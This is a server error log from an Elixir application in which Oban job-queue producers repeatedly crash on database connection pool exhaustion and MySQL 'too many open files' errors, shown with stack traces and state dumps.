State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:19:07.241474Z], limit: 5, uuid: "dd08d908-7151-4588-b959-1be4e3cd7309", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:07.241480Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.55297>, refresh_timer: #Reference<0.2525715032.1077673987.32193>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:19.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:19:07.238013Z], limit: 3, uuid: "18b046ac-f2cd-470a-a438-b2390fc8cf63", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:07.238022Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.55300>, refresh_timer: #Reference<0.2525715032.1077673987.32142>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:19:07.239135Z], limit: 5, uuid: "9db5fe87-5c1c-4445-ac94-3a136bd0fc66", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:07.239141Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.55298>, refresh_timer: #Reference<0.2525715032.1068498948.53630>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:19:07.239357Z], limit: 20, uuid: "0c627aa8-a832-496b-bad0-249b1e76ab8a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:07.239363Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.55295>, refresh_timer: #Reference<0.2525715032.1077673987.32183>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:21.584000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:22.072000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:23.270000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:25.223000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:25.341000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:28.190000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:28.664000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:29.933000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:31.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:19:31.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:19:19.239935Z], limit: 3, uuid: "903373c5-83cd-4982-92e8-c9609fb91ad0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:19.239941Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.53791>, refresh_timer: #Reference<0.2525715032.1077673987.32237>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:31.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:19:19.240235Z], limit: 20, uuid: "cafc6793-b0b1-4711-a83f-b080d2709142", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:19.240241Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.53787>, refresh_timer: #Reference<0.2525715032.1068498948.53786>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:19:19.239511Z], limit: 10, uuid: "6f30d2b3-4312-4691-97c4-5c1a2c3c5c21", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:19.239518Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.32256>, refresh_timer: #Reference<0.2525715032.1077673987.32227>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:19:19.240292Z], limit: 50, uuid: "d0ffb4cb-f2e9-4de7-b9c8-2a1982c9fd4a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:19.240296Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.53790>, refresh_timer: #Reference<0.2525715032.1099431938.55417>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:19:19.240011Z], limit: 5, uuid: "b58cd375-20bf-4600-b831-cfb373e1a099", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:19.240017Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.53788>, refresh_timer: #Reference<0.2525715032.1068498948.53779>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:19:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
